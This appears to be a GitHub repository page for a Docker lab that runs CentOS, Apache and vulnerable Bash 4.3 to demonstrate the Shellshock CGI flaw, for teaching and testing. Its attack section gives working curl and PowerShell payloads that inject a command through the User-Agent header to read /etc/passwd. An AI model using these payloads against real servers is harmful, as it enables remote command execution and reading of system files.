Skip to content

tex2e/docker-shellshock-cgi

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 

Repository files navigation

Shellshock

CentOS8 + Apache2 + Bash (v4.3)

Build

Build an image from Dockerfile:

docker build -t tex2e/shellshock-cgi .
docker run -itd -p 80:80 --privileged --name shellshock-cgi tex2e/shellshock-cgi /sbin/init

When entering the container:

docker exec -it shellshock-cgi bash
  • The bash containing the vulnerability is located in /usr/local/bin/bash.
  • Shebang in /var/www/cgi-bin/test.cgi specifies to run /usr/local/bin/bash.

Attack

curl:

curl -A "() { :;}; echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://localhost:80/cgi-bin/test.cgi

PowerShell:

$Response = Invoke-WebRequest -UserAgent "() { :;}; echo `"Content-type: text/plain`"; echo; echo; /bin/cat /etc/passwd" http://localhost:80/cgi-bin/test.cgi
$Response.Content

See Also